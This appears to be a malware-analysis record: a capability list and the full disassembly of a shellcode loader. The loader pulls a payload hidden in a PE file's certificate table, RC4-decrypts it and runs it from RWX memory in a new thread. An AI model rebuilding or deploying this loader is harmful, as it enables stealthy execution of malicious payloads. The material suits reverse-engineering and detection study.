Function at 0x1400010c0
Capabilities:
Allocate or change rwx memory
Create thread
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Get file size
Inject thread
Read file on windows
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push rbp
push rbx
push r14
lea rbp, [rsp - 0x280]
sub rsp, 0x380
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x260], rax
mov ebx, ecx
mov r14, rdx
lea rcx, str._n__:_Basic_Loader..._n_n
call fcn.140001060
cmp ebx, 3
je 0x140001122
lea rcx, str.___:_Missing_PE_path_or_Encryption_Key..._n
call fcn.140001060
mov rdx, qword [r14]
lea rcx, str.___:_Usage:__s__PE_PATH___Encryption_Key__n
call fcn.140001060
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0x3a0], rsi
lea rcx, [rbp + 0x160]
mov qword [rsp + 0x3b0], rdi
xor edx, edx
mov qword [rsp + 0x3b8], r12
mov r8d, 0xff
mov qword [rsp + 0x370], r15
call sub.VCRUNTIME140.dll_memset
mov rdx, qword [r14 + 8]
xor r15d, r15d
mov rsi, qword [r14 + 0x10]
mov r12d, r15d
mov qword [rsp + 0x40], r15
mov edi, r15d
mov dword [rbp + 0x150], r15d
test rdx, rdx
je 0x140001221
movups xmm0, xmmword [rdx]
lea rcx, [rbp + 0x160]
movups xmmword [rcx], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rdx + 0x70]
sub rdx, 0xffffffffffffff80
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov rax, qword [rdx + 0x70]
mov qword [rcx + 0x70], rax
mov eax, dword [rdx + 0x78]
mov dword [rcx + 0x78], eax
movzx eax, word [rdx + 0x7c]
mov word [rcx + 0x7c], ax
movzx eax, byte [rdx + 0x7e]
mov byte [rcx + 0x7e], al
jmp 0x140001233
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov dword [rax], 0x16
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo]
lea rdx, [rbp + 0x160]
lea rcx, str.__:_Loading_Parsing_PE_File__s_n
call fcn.140001060
mov qword [rsp + 0x30], r15
lea rcx, [rbp + 0x160]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x48], rax
mov r14, rax
cmp rax, 0xffffffffffffffff
jne 0x1400012ae
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea r8, [rbp + 0x160]
lea rdx, str.___:_Could_not_read_file__s_n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor edx, edx
mov qword [rsp + 0x378], r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov ebx, eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea r9, [rbp + 0x150]
mov qword [rsp + 0x20], r15
mov rdx, rax
mov r8d, ebx
mov rcx, r14
mov r13, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [rbp + 0x150], edi
jne 0x14000131a
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea r8, [rbp + 0x160]
lea rdx, str.___:_Could_not_read_file__s_n
call fcn.140001010
mov r12, rdi
jmp 0x1400016b3
mov eax, 0x5a4d
cmp word [r13], ax
je 0x14000134f
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea r8, [rbp + 0x160]
lea rdx, str.___:__s_is_not_a_valid_PE_file_n
call fcn.140001010
mov r12, rdi
jmp 0x1400016b3
movsxd rcx, dword [r13 + 0x3c]
lea rax, [rsp + 0x50]
add rcx, r13
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx + 0x18]
movups xmm1, xmmword [rcx + 0x28]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rcx + 0x38]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rcx + 0x48]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rcx + 0x68]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rcx + 0x78]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rcx + 0x88]
add rcx, 0x98
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x50], xmm1
movups xmmword [rax + 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, str.kernel32
mov dword [rbp + 0x154], r15d
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.IsWow64Process
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001420
lea rdx, [rbp + 0x154]
mov rcx, rbx
call rax
cmp dword [rbp + 0x154], edi
je 0x14000143b
mov eax, 0x20b
cmp word [rsp + 0x50], ax
jne 0x14000144d
mov edi, 2
jmp 0x14000144d
mov eax, 0x10b
mov ecx, 0xfffffffe
cmp word [rsp + 0x50], ax
cmove edi, ecx
lea eax, [rdi + 4]
mov ebx, dword [rbp + rax*8 - 0x40]
lea rcx, str.__:_Certificate_Table_RVA__x_n
mov edi, dword [rbp + rax*8 - 0x3c]
mov edx, ebx
call fcn.140001060
mov edx, edi
lea rcx, str.__:_Certificate_Table_Size__d_n
call fcn.140001060
lea r15, [rbx + r13]
xor ebx, ebx
test rdi, rdi
je 0x1400014d0
lea rax, [r15 + 2]
cmp byte [rax - 2], 0xfe
jne 0x14000149a
cmp byte [rax - 1], 0xed
jne 0x14000149a
cmp byte [rax], 0xfa
jne 0x14000149a
cmp byte [rax + 1], 0xce
je 0x1400014a7
inc rbx
inc rax
cmp rbx, rdi
jb 0x140001483
jmp 0x1400014d0
mov edx, 0xfe
mov dword [rsp + 0x20], 0xce
mov r9d, 0xfa
lea rcx, str.__:_Tag_Found_0x_x_x_x_x
mov r8d, 0xed
call fcn.140001060
lea r12d, [rbx + 8]
mov r14d, r12d
lea rax, [rbx + 8]
cmp r14, rax
je 0x140001500
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.___:_Could_not_locate_data_shellcode
call fcn.140001010
mov r12, qword [rsp + 0x40]
jmp 0x1400016ae
sub edi, r12d
mov ebx, edi
mov ecx, edi
mov qword [rsp + 0x40], rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea rdx, [r14 + r15]
mov r8d, edi
mov rcx, rax
mov r12, rax
call sub.VCRUNTIME140.dll_memcpy
mov r9, 0xffffffffffffffff
nop dword [rax + rax]
inc r9
cmp byte [rsi + r9], 0
jne 0x140001530
xor r14d, r14d
mov r8d, r14d
mov ecx, r14d
mov r10d, r14d
mov r11d, r14d
nop dword [rax]
mov eax, r10d
mov byte [rsp + r11 + 0x50], r10b
cdq
lea r11, [r11 + 1]
idiv r9d
inc r10d
movsxd rax, edx
movzx edx, byte [rax + rsi]
mov byte [rbp + r11 + 0x4f], dl
cmp r10d, 0x100
jl 0x140001550
mov r9, r14
nop dword [rax + rax]
movzx eax, byte [rbp + r9 + 0x50]
movzx r10d, byte [rsp + r9 + 0x50]
add r8d, eax
add r8d, r10d
and r8d, 0x800000ff
jge 0x1400015a8
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rax, r8d
movzx edx, byte [rsp + rax + 0x50]
mov byte [rsp + rax + 0x50], r10b
mov byte [rsp + r9 + 0x50], dl
inc r9
cmp r9, 0x100
jl 0x140001580
mov edx, r14d
test edi, edi
jle 0x14000163f
mov r9, r12
inc ecx
and ecx, 0x800000ff
jge 0x1400015e4
dec ecx
or ecx, 0xffffff00
inc ecx
movsxd rax, ecx
lea r10, [rsp + 0x50]
add r10, rax
movzx r11d, byte [r10]
add edx, r11d
and edx, 0x800000ff
jge 0x140001608
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
lea r8, [rsp + 0x50]
add r8, rax
movzx eax, byte [r8]
mov byte [r8], r11b
mov byte [r10], al
movzx r8d, byte [r8]
add r8, rax
movzx eax, r8b
movzx r8d, byte [rsp + rax + 0x50]
xor byte [r9], r8b
inc r9
sub rbx, 1
jne 0x1400015d0
mov rbx, qword [rsp + 0x40]
mov edx, edi
lea rcx, str._n__:_Encrypted_Decrypted_Data_Size__d_n
call fcn.140001060
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9, qword [rsp + 0x40]
mov r8, r12
mov rcx, rax
mov qword [rsp + 0x20], r14
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r9d, r9d
mov qword [rsp + 0x28], r14
mov r8, rbx
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r14, qword [rsp + 0x48]
test r13, r13
je 0x1400016c1
mov rcx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov r13, qword [rsp + 0x378]
test r12, r12
je 0x1400016d7
mov rcx, r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r12, qword [rsp + 0x3b8]
xor eax, eax
mov rdi, qword [rsp + 0x3b0]
mov rsi, qword [rsp + 0x3a0]
mov r15, qword [rsp + 0x370]
mov rcx, qword [rbp + 0x260]
xor rcx, rsp
call fcn.140001730
add rsp, 0x380
pop r14
pop rbx
pop rbp
ret